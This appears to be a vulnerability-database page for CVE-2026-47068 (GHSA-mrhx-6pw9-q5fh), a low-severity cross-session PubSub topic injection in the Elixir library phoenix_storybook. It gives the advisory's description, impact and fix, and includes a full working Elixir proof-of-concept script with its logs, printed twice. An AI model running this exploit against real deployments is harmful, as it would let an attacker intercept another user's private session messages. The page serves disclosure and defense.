          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "6ee03f1c738d4436dde1b066cf65c80663d489f5",
              "status": "affected",
              "version": "8c2c97b0f505780fee4069988bf86736f51d35d7",
              "versionType": "git"
            }
          ]
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Authorization Bypass Through User-Controlled Key vulnerability in phenixdigital phoenix_storybook allows cross-session PubSub topic injection via a URL query parameter.\n\n\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3 in lib/phoenix_storybook/live/story/component_iframe_live.ex reads a PubSub topic directly from params[\"topic\"] and broadcasts {:component_iframe_pid, self()} on it with no check that the topic belongs to the requesting session. The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a session-specific topic and uses the received iframe pid to direct subsequent control messages (variation state, theme switches, extra-assign payloads) via send/2. Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e causes their iframe process pid to be announced on the victim\u0027s topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe process.\n\nThis issue affects phoenix_storybook from 0.4.0 before 1.1.0."
    }
  ],
  "id": "CVE-2026-47068",
  "lastModified": "2026-06-17T10:54:17.397",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 2.3,
          "baseSeverity": "LOW",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47068",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-21T13:59:23.206364Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-20T14:17:01.557",
  "references": [
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://cna.erlef.org/cves/CVE-2026-47068.html"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47068"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh"
    }
  ],
  "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "type": "Secondary"
    }
  ]
}

GHSA-MRHX-6PW9-Q5FH

Vulnerability from github – Published: 2026-06-09 21:59 – Updated: 2026-06-09 21:59

Summary

PhoenixStorybook has cross-session PubSub topic injection via URL parameter

Details

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Severity

2.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "phoenix_storybook"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-09T21:59:25Z",
    "nvd_published_at": "2026-05-20T14:17:01Z",
    "severity": "LOW"
  },
  "details": "### Summary\nThe storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user\u0027s playground topic can hijack the playground\u2194iframe handshake, causing the victim\u0027s playground to send its control messages to an attacker-controlled iframe process \u2014 a cross-session information leak.\n\nLikely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7\n\n### Details\n`PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params[\"topic\"]` and broadcasts on it:\n\n```elixir\nif topic = params[\"topic\"] do\n  Phoenix.PubSub.broadcast!(\n    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}\n  )\nend\n```\n\nThe shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe\u0027s pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.\n\nBecause the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e` in their own browser causes their iframe process\u0027s pid to be announced on the victim\u0027s private topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session.\n\nThe fix is to stop accepting the topic from the query string \u2014 derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.\n\n### PoC\nThe attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library\u0027s own router via `live_storybook(\"/storybook\", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above.\n\nTo simulate a legitimate playground, the script spawns a \"victim\" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session \u2014 completely separate, with no shared cookies or auth \u2014 then issues a single `Req.get!` to the iframe URL with `?topic=\u003cvictim_topic\u003e` URL-encoded onto the query string. Inside the iframe LiveView, `params[\"topic\"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim\u0027s subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim\u0027s topic.\n\nThe victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled \"?topic=\" query param caused PubSub broadcast onto victim\u0027s private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under \"Scripts and Logs\".\n\n### Impact\nCross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground\u0027s topic can redirect the playground\u0027s private control messages \u2014 variation state, theme changes, and any developer-wired extra assigns \u2014 to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Cross-session PubSub topic injection via URL parameter\n#\n# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs\n#\n# Threat model: an outside attacker who can browse the storybook iframe URL.\n# They open `/storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e` in their own\n# browser. The iframe LiveView\u0027s handle_params broadcasts\n# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the\n# query string. A victim\u0027s playground that subscribed to `victim_topic`\n# (legitimately, for its own iframe) receives the attacker\u0027s iframe pid and\n# will subsequently address its private control messages to that pid.\n#\n# This PoC stands up a real Phoenix endpoint + the library\u0027s own router, has a\n# \"victim\" process Phoenix.PubSub.subscribe to a secret topic, then makes a\n# plain HTTP GET to the iframe URL with `?topic=\u003csecret\u003e` from an attacker\n# session. If the victim receives the iframe pid, the topic was successfully\n# hijacked.\n\nMix.install([\n  {:phoenix_storybook, \"1.0.0\"},\n  {:phoenix_live_view, \"~\u003e 1.0\"},\n  {:bandit, \"~\u003e 1.5\"},\n  {:req, \"~\u003e 0.5\"},\n  {:jason, \"~\u003e 1.4\"}\n])\n\n# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----\ntmp = Path.join(System.tmp_dir!(), \"psb_poc_#{System.unique_integer([:positive])}\")\nFile.mkdir_p!(tmp)\n\nFile.write!(Path.join(tmp, \"demo.story.exs\"), \"\"\"\ndefmodule Storybook.Demo do\n  use PhoenixStorybook.Story, :component\n  def function, do: \u0026Phoenix.Component.link/1\n  def variations do\n    [%Variation{id: :default, attributes: %{navigate: \"/x\"}, slots: [\"hi\"]}]\n  end\nend\n\"\"\")\n\n# ----- 2. Storybook backend + Phoenix endpoint/router. -----\nexpanded_content_path = Path.expand(tmp)\n\nModule.create(\n  MyStorybook,\n  quote do\n    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)\n  end,\n  Macro.Env.location(__ENV__)\n)\n\ndefmodule MyRouter do\n  use Phoenix.Router\n  import Phoenix.LiveView.Router\n  import PhoenixStorybook.Router\n\n  scope \"/\" do\n    live_storybook(\"/storybook\", backend_module: MyStorybook)\n  end\nend\n\npoc_port = Enum.random(20_000..30_000)\n\nApplication.put_env(:psb_poc, MyEndpoint,\n  http: [ip: {127, 0, 0, 1}, port: poc_port],\n  server: true,\n  secret_key_base: String.duplicate(\"a\", 64),\n  live_view: [signing_salt: \"12345678\"],\n  pubsub_server: PhoenixStorybook.PubSub,\n  adapter: Bandit.PhoenixAdapter,\n  check_origin: false\n)\n\ndefmodule MyEndpoint do\n  use Phoenix.Endpoint, otp_app: :psb_poc\n\n  @session_options [\n    store: :cookie,\n    key: \"_psb_poc_key\",\n    signing_salt: \"12345678\",\n    same_site: \"Lax\"\n  ]\n\n  socket \"/live\", Phoenix.LiveView.Socket, websocket: true\n  plug Plug.Session, @session_options\n  plug :fetch_query_params_plug\n  plug MyRouter\n\n  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)\nend\n\n# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----\n{:ok, _} = MyEndpoint.start_link()\n\nbase = \"http://127.0.0.1:#{poc_port}\"\n\n# ----- 4. Victim subscribes to its private playground topic. -----\nvictim_topic = \"playground-secret-#{:erlang.unique_integer([:positive])}\"\nvictim = self()\n\n# A separate process plays the role of the victim\u0027s playground LV. It\n# subscribes to its own topic \u2014 exactly what PlaygroundLive does when the\n# legitimate user opens their playground page.\nvictim_pid =\n  spawn_link(fn -\u003e\n    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)\n    send(victim, :victim_ready)\n\n    receive do\n      {:component_iframe_pid, attacker_iframe_pid} -\u003e\n        send(victim, {:victim_got, attacker_iframe_pid})\n    after\n      5_000 -\u003e send(victim, :victim_timeout)\n    end\n  end)\n\nreceive do\n  :victim_ready -\u003e :ok\nafter\n  2_000 -\u003e raise \"victim subscribe timed out\"\nend\n\n# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL\n#         with ?topic=\u003cvictim\u0027s secret topic\u003e. -----\nattacker_url =\n  base \u003c\u003e\n    \"/storybook/iframe/demo?topic=\" \u003c\u003e URI.encode_www_form(victim_topic)\n\n_resp = Req.get!(attacker_url, retry: false)\n\n# ----- 6. Observe the cross-session leak. -----\noutcome =\n  receive do\n    {:victim_got, leaked_pid} -\u003e {:leaked, leaked_pid}\n    :victim_timeout -\u003e :no_leak\n  after\n    6_000 -\u003e :no_leak\n  end\n\n# ----- 7. Tear down. -----\n:ok = Supervisor.stop(MyEndpoint, :normal)\nFile.rm_rf!(tmp)\nif Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)\n\ncase outcome do\n  {:leaked, pid} -\u003e\n    IO.puts(\"Victim received iframe pid: #{inspect(pid)}\")\n    IO.puts(\"Victim\u0027s topic was: #{victim_topic} (never shared with attacker session)\")\n    IO.puts(\"Attacker only needed to know/guess that topic to hijack the pid handshake.\")\n    IO.puts(\"VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim\u0027s private topic\")\n\n  :no_leak -\u003e\n    IO.puts(\"NOT VERIFIED: no cross-session message observed within timeout\")\nend\n\n```\n\n### Logs\n\n```logs\n11:56:17.598 [warning] Can\u0027t resolve priv dir for application psb_poc\n\n11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)\n\n11:56:17.750 [info] Access MyEndpoint at http://localhost:26466\n\n11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0\n  Parameters: %{\"story\" =\u003e [\"demo\"], \"topic\" =\u003e \"playground-secret-8\"}\n  Pipelines: [:storybook_browser]\nVictim received iframe pid: #PID\u003c0.598.0\u003e\nVictim\u0027s topic was: playground-secret-8 (never shared with attacker session)\nAttacker only needed to know/guess that topic to hijack the pid handshake.\nVERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim\u0027s private topic\n```",
  "id": "GHSA-mrhx-6pw9-q5fh",
  "modified": "2026-06-09T21:59:25Z",
  "published": "2026-06-09T21:59:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47068"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-47068.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phenixdigital/phoenix_storybook"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47068"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhoenixStorybook has cross-session PubSub topic injection via URL parameter"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-47068 (GCVE-0-2026-47068)

FKIE_CVE-2026-47068

GHSA-MRHX-6PW9-Q5FH

Summary

Details

PoC

Impact

Scripts and Logs

Logs

Tags

Sightings

Nomenclature